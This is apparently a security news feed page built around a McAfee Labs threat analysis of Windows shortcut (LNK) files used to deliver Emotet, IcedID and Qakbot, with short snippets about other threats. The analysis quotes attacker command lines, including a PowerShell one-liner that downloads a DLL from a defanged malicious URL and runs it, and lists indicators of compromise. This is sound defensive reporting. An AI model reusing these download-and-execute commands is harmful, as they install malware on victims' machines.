Researchers from Kaspersky Lab have published an analysis of a previously undocumented advanced persistent threat (APT) group that they have dubbed ToddyCat.

The threat actor, which has targeted high-profile organizations in Asia and Europe, often breaks into organizations by hacking into internet-facing Microsoft Exchange servers, following up with a multi-stage infection chain that deploys two custom malware programs.

“We still have little information about this actor, but we know that its main distinctive signs are two formerly unknown tools that we call ‘Samurai backdoor’ and ‘Ninja Trojan’,” the researchers said.

To read this article in full, please click here

Read More

Have you received an email notification that there is a voicemail waiting to be listened to by you?

Maybe you would be wise to think carefully before clicking on the attachment.

Read More

Authored by Lakshya Mathur

An LNK file is a Windows Shortcut that serves as a pointer to open a file, folder, or application. LNK files are based on the Shell Link binary file format, which holds information used to access another data object. These files can be created manually using the standard right-click create shortcut option or sometimes they are created automatically while running an application. There are many tools also available to build LNK files, also many people have built “lnkbombs” tools specifically for malicious purposes.

During the second quarter of 2022, McAfee Labs has seen a rise in malware being delivered using LNK files. Attackers are exploiting the ease of LNK, and are using it to deliver malware like Emotet, Qakbot, IcedID, Bazarloaders, etc.

Figure 1 – Apr to May month geolocation of the LNK attacks

In this blog, we will see how LNK files are being used to deliver malware such as Emotet, Qakbot, and IcedID.

Below is a screenshot of how these shortcut files look to a normal user.

Figure 2 _ LNK files as seen by a normal user

LNK THREAT ANALYSIS & CAMPAIGNS

With Microsoft disabling office macros by default malware actors are now enhancing their lure techniques including exploiting LNK files to achieve their goals.

Threat actors are using email spam and malicious URLs to deliver LNK files to victims. These files instruct legitimate applications like PowerShell, CMD, and MSHTA to download malicious files.

We will go through three recent malware campaigns Emotet, IcedID, and Qakbot to see how dangerous these files can be.

 

EMOTET

Infection-Chain

Figure 3 _Emotet delivered via LNK file Infection-Chain

Threat Analysis

Figure 4 _ Email user received having malicious LNK attached

In Figure 4 we can see the lure message and attached malicious LNK file.

The user is infected by manually accessing the attached LNK file. To dig a little deeper, we see the properties of the LNK file:

Figure 5 _Properties of Emotet LNK sample

As seen in Figure 5 the target part reveals that LNK invokes the Windows Command Processor (cmd.exe). The target path as seen in the properties is only visible to 255 characters. However, command-line arguments can be up to 4096, so malicious actors can that this advantage and pass on long arguments as they will be not visible in the properties.

In our case the argument is /v:on /c findstr “glKmfOKnQLYKnNs.*” “Form 04.25.2022, US.lnk” > “%tmp%YlScZcZKeP.vbs” & “%tmp%YlScZcZKeP.vbs”

Figure 6 _ Contents of Emotet LNK file

Once the findstr.exe utility receives the mentioned string, the rest of the content of the LNK file is saved in a .VBS file under the %temp% folder with the random name YIScZcZKeP.vbs

The next part of the cmd.exe command invokes the VBS file using the Windows Script Host (wscript.exe) to download the main Emotet 64-bit DLL payload.

The downloaded DLL is then finally executed using the REGSVR32.EXE utility which is similar behavior to the excel(.xls) based version of the emotet.

ICEDID

Infection-Chain

Figure 7 _ IcedID delivered via LNK file Infection-Chain

Threat Analysis

This attack is a perfect example of how attackers chain LNK, PowerShell, and MSHTA utilities target their victims.

Here, PowerShell LNK has a highly obfuscated parameter which can be seen in Figure 8 target part of the LNK properties

Figure 8 _ Properties of IcedID LNK sample

The parameter is exceptionally long and is not fully visible in the target part. The whole obfuscated argument is decrypted at run-time and then executes MSHTA with argument hxxps://hectorcalle[.]com/093789.hta.

The downloaded HTA file invokes another PowerShell that has a similar obfuscated parameter, but this connects to Uri hxxps://hectorcalle[.]com/listbul.exe

The Uri downloads the IcedID installer 64-bit EXE payload under the %HOME% folder.

QAKBOT

Infection-Chain

Figure 9 _ Qakbot delivered via LNK file Infection-Chain

Threat Analysis

This attack will show us how attackers can directly hardcode malicious URLs to run along with utilities like PowerShell and download main threat payloads.

Figure 10 _ Properties of Qakbot LNK sample

In Figure 10 the full target part argument is “C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -NoExit iwr -Uri hxxps://news-wellness[.]com/5MVhfo8BnDub/D.png -OutFile $env:TEMPtest.dll;Start-Process rundll32.exe $env:TEMPtest.dll,jhbvygftr”

When this PowerShell LNK is invoked, it connects to hxxps://news-wellness[.]com/5MVhfo8BnDub/D.png using the Invoke-WebRequest command and the download file is saved under the %temp% folder with the name test.dll

This is the main Qakbot DLL payload which is then executed using the rundll32 utility.

CONCLUSION

As we saw in the above three threat campaigns, it is understood that attackers abuse the windows shortcut LNK files and made them to be extremely dangerous to the common users. LNK combined with PowerShell, CMD, MSHTA, etc., can do severe damage to the victim’s machine. Malicious LNKs are generally seen to be using PowerShell and CMD by which they can connect to malicious URLs to download malicious payloads.

We covered just three of the threat families here, but these files have been seen using other windows utilities to deliver diverse types of malicious payloads. These types of attacks are still evolving, so every user must give a thorough check while using LNK shortcut files. Consumers must keep their Operating system and Anti-Virus up to date. They should beware of phishing mail and clicking on malicious links and attachments.

IOC (Indicators of Compromise)

Type
SHA-256
Scanner
 

Emotet LNK
02eccb041972825d51b71e88450b094cf692b9f5f46f5101ab3f2210e2e1fe71
WSS
LNK/Emotet-FSE

IcedID LNK
24ee20d7f254e1e327ecd755848b8b72cd5e6273cf434c3a520f780d5a098ac9
WSS
LNK/Agent-FTA

Suspicious ZIP!lnk

Qakbot LNK
b5d5464d4c2b231b11b594ce8500796f8946f1b3a10741593c7b872754c2b172
WSS
LNK/Agent-TSR

 

URLs (Uniform Resource Locator)
hxxps://creemo[.]pl/wp-admin/ZKS1DcdquUT4Bb8Kb/

hxxp://filmmogzivota[.]rs/SpryAssets/gDR/

hxxp://demo34.ckg[.]hk/service/hhMZrfC7Mnm9JD/

hxxp://focusmedica[.]in/fmlib/IxBABMh0I2cLM3qq1GVv/

hxxp://cipro[.]mx/prensa/siZP69rBFmibDvuTP1/

hxxps://hectorcalle[.]com/093789.hta

hxxps://hectorcalle[.]com/listbul.exe

hxxps://green-a-thon[.]com/LosZkUvr/B.png

WebAdvisor
All URLs Blocked

 

The post Rise of LNK (Shortcut files) Malware appeared first on McAfee Blog.

Read More

The cyber-threat landscape continues to evolve at a breakneck pace

Read More

Cloud-native SASE (secure access service edge) provider Cato Networks is offering a new capability for network-based ransomware protection on the Cato SASE Cloud. The Cato cloud will use new machine-learning heuristic algorithms, combined with the platform’s network insights, to detect and prevent the spread of ransomware across a company without having to deploy endpoint agents.

To read this article in full, please click here

Read More

The panel also discussed how to build leadership resilience to cope with disruptive changes

Read More

The APT actor would be utilizing two formerly unknown tools Kaspersky called ‘Samurai backdoor’ and ‘Ninja Trojan’ respectively.

Read More

The list is extensive and includes technology giants such as Discord, Medium, Coinbase, NordVPN and Feedly

Read More